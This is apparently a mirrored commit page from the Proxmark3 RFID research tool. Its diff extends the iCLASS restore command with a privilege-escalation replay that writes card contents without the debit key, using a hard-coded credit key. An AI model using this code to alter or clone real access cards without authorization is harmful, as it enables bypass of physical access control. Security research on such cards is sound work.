mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-07-06 04:51:36 -07:00
Updated iclass restore to support privilege escalation
Updated hf iclass restore to support privilege escalation to restore card's content using a single AA1 --nr mac value. This allows to write cards the debit key is not known.
This commit is contained in:
parent
875ceab8a7
commit
f8bd0b4bae
3 changed files with 56 additions and 22 deletions
|
@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
|
||||||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||||
|
|
||||||
## [unreleased][unreleased]
|
## [unreleased][unreleased]
|
||||||
|
- Changed `hf iclass restore` - it now supports privilege escalation to restore card content using replay (@antiklesys)
|
||||||
- Fixed `hf 15 dump` - now reads sysinfo response correct (@iceman1001)
|
- Fixed `hf 15 dump` - now reads sysinfo response correct (@iceman1001)
|
||||||
- Changed `make clean` - it now removes all __pycache__ folders (@iceman1001)
|
- Changed `make clean` - it now removes all __pycache__ folders (@iceman1001)
|
||||||
- Fixed `hf 15 readmulti` - fix block calculations (@iceman1001)
|
- Fixed `hf 15 readmulti` - fix block calculations (@iceman1001)
|
||||||
|
|
|
@ -2552,7 +2552,38 @@ out:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static bool do_privilege_escalation(uint8_t *read_check_cc, size_t cc_len, uint32_t *eof_time){
|
||||||
|
uint16_t resp_len = 0;
|
||||||
|
int res2;
|
||||||
|
uint8_t resp[10] = {0};
|
||||||
|
int priv_esc_tries = 0;
|
||||||
|
bool priv_esc = false;
|
||||||
|
uint32_t start_time = 0;
|
||||||
|
while (!priv_esc) {
|
||||||
|
//The privilege escalation is done with a readcheck and not just a normal read!
|
||||||
|
start_time = *eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
iclass_send_as_reader(read_check_cc, cc_len, &start_time, eof_time, false);
|
||||||
|
// expect a 8-byte response here
|
||||||
|
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, eof_time, false, true, &resp_len);
|
||||||
|
if (res2 != PM3_SUCCESS || resp_len != 8) {
|
||||||
|
priv_esc_tries++;
|
||||||
|
} else {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (priv_esc_tries == 5) {
|
||||||
|
DbpString("");
|
||||||
|
DbpString(_RED_("Unable to complete privilege escalation! Stopping."));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
void iClass_Restore(iclass_restore_req_t *msg) {
|
void iClass_Restore(iclass_restore_req_t *msg) {
|
||||||
|
bool priv_esc = false;
|
||||||
|
uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 };
|
||||||
|
uint8_t credit_key[8] = {0xFD, 0xCB, 0x5A, 0x52, 0xEA, 0x8F, 0x30, 0x90};
|
||||||
|
uint8_t div_cc[8] = {0};
|
||||||
|
|
||||||
// sanitation
|
// sanitation
|
||||||
if (msg == NULL) {
|
if (msg == NULL) {
|
||||||
|
@ -2581,7 +2612,9 @@ void iClass_Restore(iclass_restore_req_t *msg) {
|
||||||
if (res == false) {
|
if (res == false) {
|
||||||
goto out;
|
goto out;
|
||||||
}
|
}
|
||||||
|
iclass_calc_div_key((uint8_t *)&hdr.csn, credit_key, div_cc, false);
|
||||||
|
|
||||||
|
read_check_cc[1] = ((uint8_t *)&hdr.conf)[0] + 1; //first block of AA2
|
||||||
// authenticate
|
// authenticate
|
||||||
uint8_t mac[4] = {0};
|
uint8_t mac[4] = {0};
|
||||||
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
|
@ -2594,6 +2627,13 @@ void iClass_Restore(iclass_restore_req_t *msg) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if(msg->req.use_replay){
|
||||||
|
priv_esc = do_privilege_escalation(read_check_cc, sizeof(read_check_cc), &eof_time);
|
||||||
|
if (!priv_esc){
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// main loop
|
// main loop
|
||||||
bool use_mac;
|
bool use_mac;
|
||||||
for (uint8_t i = 0; i < msg->item_cnt; i++) {
|
for (uint8_t i = 0; i < msg->item_cnt; i++) {
|
||||||
|
@ -2611,11 +2651,14 @@ void iClass_Restore(iclass_restore_req_t *msg) {
|
||||||
wb[0] = item.blockno;
|
wb[0] = item.blockno;
|
||||||
memcpy(wb + 1, item.data, 8);
|
memcpy(wb + 1, item.data, 8);
|
||||||
|
|
||||||
if (msg->req.use_credit_key)
|
if (msg->req.use_credit_key){
|
||||||
doMAC_N(wb, sizeof(wb), hdr.key_c, mac);
|
doMAC_N(wb, sizeof(wb), hdr.key_c, mac);
|
||||||
else
|
}else if (msg->req.use_replay){
|
||||||
|
doMAC_N(wb, sizeof(wb), div_cc, mac);
|
||||||
|
}else{
|
||||||
doMAC_N(wb, sizeof(wb), hdr.key_d, mac);
|
doMAC_N(wb, sizeof(wb), hdr.key_d, mac);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// data + mac
|
// data + mac
|
||||||
if (iclass_writeblock_ext(item.blockno, item.data, mac, use_mac, shallow_mod)) {
|
if (iclass_writeblock_ext(item.blockno, item.data, mac, use_mac, shallow_mod)) {
|
||||||
|
@ -2767,11 +2810,8 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
while (bits_found == -1) {
|
while (bits_found == -1) {
|
||||||
|
|
||||||
reinit_tentatives = 0;
|
reinit_tentatives = 0;
|
||||||
int res2;
|
|
||||||
uint8_t resp[10] = {0};
|
|
||||||
uint8_t mac2[4] = {0};
|
uint8_t mac2[4] = {0};
|
||||||
res = false;
|
res = false;
|
||||||
uint16_t resp_len = 0;
|
|
||||||
|
|
||||||
if (BUTTON_PRESS() || loops > msg->loop) {
|
if (BUTTON_PRESS() || loops > msg->loop) {
|
||||||
if (loops > msg->loop) {
|
if (loops > msg->loop) {
|
||||||
|
@ -2827,25 +2867,15 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
}
|
}
|
||||||
|
|
||||||
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
|
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
|
||||||
int priv_esc_tries = 0;
|
if(!priv_esc){
|
||||||
while (!priv_esc) {
|
priv_esc = do_privilege_escalation(read_check_cc, sizeof(read_check_cc), &eof_time);
|
||||||
//The privilege escalation is done with a readcheck and not just a normal read!
|
if (priv_esc){
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
status_message = 3;
|
||||||
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
|
||||||
// expect a 8-byte response here
|
|
||||||
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
|
|
||||||
if (res2 != PM3_SUCCESS || resp_len != 8) {
|
|
||||||
priv_esc_tries++;
|
|
||||||
}else{
|
}else{
|
||||||
status_message = 3; //privilege escalation successful
|
|
||||||
priv_esc = true;
|
|
||||||
}
|
|
||||||
if (priv_esc_tries == 5) {
|
|
||||||
DbpString("");
|
|
||||||
DbpString(_RED_("Unable to complete privilege escalation! Stopping."));
|
|
||||||
goto out;
|
goto out;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (priv_esc && status_message != 3) {
|
if (priv_esc && status_message != 3) {
|
||||||
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
|
||||||
|
@ -2882,6 +2912,7 @@ void iClass_Recover(iclass_recover_req_t *msg) {
|
||||||
bool write_error = false;
|
bool write_error = false;
|
||||||
while (written == false && write_error == false) {
|
while (written == false && write_error == false) {
|
||||||
//Step5 Perform Write
|
//Step5 Perform Write
|
||||||
|
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
|
||||||
if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time, short_delay)) {
|
if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time, short_delay)) {
|
||||||
status_message = 4; //wrote new key on the card - unverified
|
status_message = 4; //wrote new key on the card - unverified
|
||||||
}
|
}
|
||||||
|
|
|
@ -2569,6 +2569,7 @@ static int CmdHFiClassRestore(const char *Cmd) {
|
||||||
arg_lit0(NULL, "raw", "no computations applied to key"),
|
arg_lit0(NULL, "raw", "no computations applied to key"),
|
||||||
arg_lit0("v", "verbose", "verbose output"),
|
arg_lit0("v", "verbose", "verbose output"),
|
||||||
arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"),
|
arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"),
|
||||||
|
arg_lit0(NULL, "nr", "replay of nr mac with privilege escalation"),
|
||||||
arg_param_end
|
arg_param_end
|
||||||
};
|
};
|
||||||
CLIExecWithReturn(ctx, Cmd, argtable, false);
|
CLIExecWithReturn(ctx, Cmd, argtable, false);
|
||||||
|
@ -2619,6 +2620,7 @@ static int CmdHFiClassRestore(const char *Cmd) {
|
||||||
bool rawkey = arg_get_lit(ctx, 8);
|
bool rawkey = arg_get_lit(ctx, 8);
|
||||||
bool verbose = arg_get_lit(ctx, 9);
|
bool verbose = arg_get_lit(ctx, 9);
|
||||||
bool shallow_mod = arg_get_lit(ctx, 10);
|
bool shallow_mod = arg_get_lit(ctx, 10);
|
||||||
|
bool use_replay = arg_get_lit(ctx, 11);
|
||||||
|
|
||||||
CLIParserFree(ctx);
|
CLIParserFree(ctx);
|
||||||
|
|
||||||
|
@ -2665,7 +2667,7 @@ static int CmdHFiClassRestore(const char *Cmd) {
|
||||||
payload->req.use_raw = rawkey;
|
payload->req.use_raw = rawkey;
|
||||||
payload->req.use_elite = elite;
|
payload->req.use_elite = elite;
|
||||||
payload->req.use_credit_key = use_credit_key;
|
payload->req.use_credit_key = use_credit_key;
|
||||||
payload->req.use_replay = false;
|
payload->req.use_replay = use_replay;
|
||||||
payload->req.blockno = startblock;
|
payload->req.blockno = startblock;
|
||||||
payload->req.send_reply = true;
|
payload->req.send_reply = true;
|
||||||
payload->req.do_auth = true;
|
payload->req.do_auth = true;
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue